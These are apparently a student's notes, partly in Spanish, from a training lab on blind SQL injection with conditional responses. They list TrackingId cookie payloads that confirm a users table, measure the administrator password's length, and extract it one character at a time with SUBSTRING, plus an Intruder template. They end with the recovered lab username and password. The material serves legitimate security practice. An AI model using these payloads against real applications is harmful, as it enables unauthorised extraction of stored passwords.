11 Lab: Blind SQL injection with conditional responses

' AND '1'='1;
/// EXISTE TABLA USERS Y fila administrator
' AND (SELECT 'a' FROM users LIMIT 1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
/// Obtener longitud de la clave, obtenemos que tiene 19 caracteres
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a

TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
// Probamos con Intruder
' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§;
son 19 caracteres, estos pueden ser minuscular y caracteres alfanumericos

administrator
vo60jlee4jbqx13nv8gg